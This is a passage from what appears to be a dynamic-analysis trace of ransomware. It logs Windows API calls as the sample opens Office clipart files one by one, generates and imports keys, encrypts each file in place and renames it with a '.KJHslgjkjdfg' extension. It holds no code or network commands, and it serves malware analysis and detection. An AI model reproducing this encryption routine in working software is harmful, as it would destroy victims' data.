dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.778] GetProcessHeap () returned 0x2ef0000 [0193.778] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.kjhslgjkjdfg")) returned 1 [0193.783] CloseHandle (hObject=0x130) returned 1 [0193.783] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0193.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.784] GetProcessHeap () returned 0x2ef0000 [0193.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.784] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0193.786] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.786] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.786] GetProcessHeap () returned 0x2ef0000 [0193.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.787] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.789] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf92, lpOverlapped=0x0) returned 1 [0193.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfa0) returned 1 [0193.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.789] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfa0, lpOverlapped=0x0) returned 1 [0193.790] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.790] SetEndOfFile (hFile=0x130) returned 1 [0193.791] GetProcessHeap () returned 0x2ef0000 [0193.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.791] GetProcessHeap () returned 0x2ef0000 [0193.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.kjhslgjkjdfg")) returned 1 [0193.794] CloseHandle (hObject=0x130) returned 1 [0193.795] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0193.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.797] GetProcessHeap () returned 0x2ef0000 [0193.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.797] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.799] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.799] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.799] GetProcessHeap () returned 0x2ef0000 [0193.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.799] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.799] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.800] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.800] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f86, lpOverlapped=0x0) returned 1 [0193.801] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f90) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f90, lpOverlapped=0x0) returned 1 [0193.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] SetEndOfFile (hFile=0x130) returned 1 [0193.803] GetProcessHeap () returned 0x2ef0000 [0193.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.803] GetProcessHeap () returned 0x2ef0000 [0193.803] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.kjhslgjkjdfg")) returned 1 [0193.807] CloseHandle (hObject=0x130) returned 1 [0193.807] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0193.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.808] GetProcessHeap () returned 0x2ef0000 [0193.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.808] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.808] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.810] GetProcessHeap () returned 0x2ef0000 [0193.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.810] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.810] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.811] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.811] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2458, lpOverlapped=0x0) returned 1 [0193.812] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2460, dwBufLen=0x2460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2460) returned 1 [0193.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.813] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2460, lpOverlapped=0x0) returned 1 [0193.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.813] SetEndOfFile (hFile=0x130) returned 1 [0193.816] GetProcessHeap () returned 0x2ef0000 [0193.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.816] GetProcessHeap () returned 0x2ef0000 [0193.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.kjhslgjkjdfg")) returned 1 [0193.819] CloseHandle (hObject=0x130) returned 1 [0193.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0193.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.820] GetProcessHeap () returned 0x2ef0000 [0193.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.820] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.822] GetProcessHeap () returned 0x2ef0000 [0193.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.823] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.823] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfb8, lpOverlapped=0x0) returned 1 [0193.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfc0) returned 1 [0193.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.824] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfc0, lpOverlapped=0x0) returned 1 [0193.824] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.824] SetEndOfFile (hFile=0x130) returned 1 [0193.825] GetProcessHeap () returned 0x2ef0000 [0193.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.825] GetProcessHeap () returned 0x2ef0000 [0193.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.kjhslgjkjdfg")) returned 1 [0193.831] CloseHandle (hObject=0x130) returned 1 [0193.831] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, 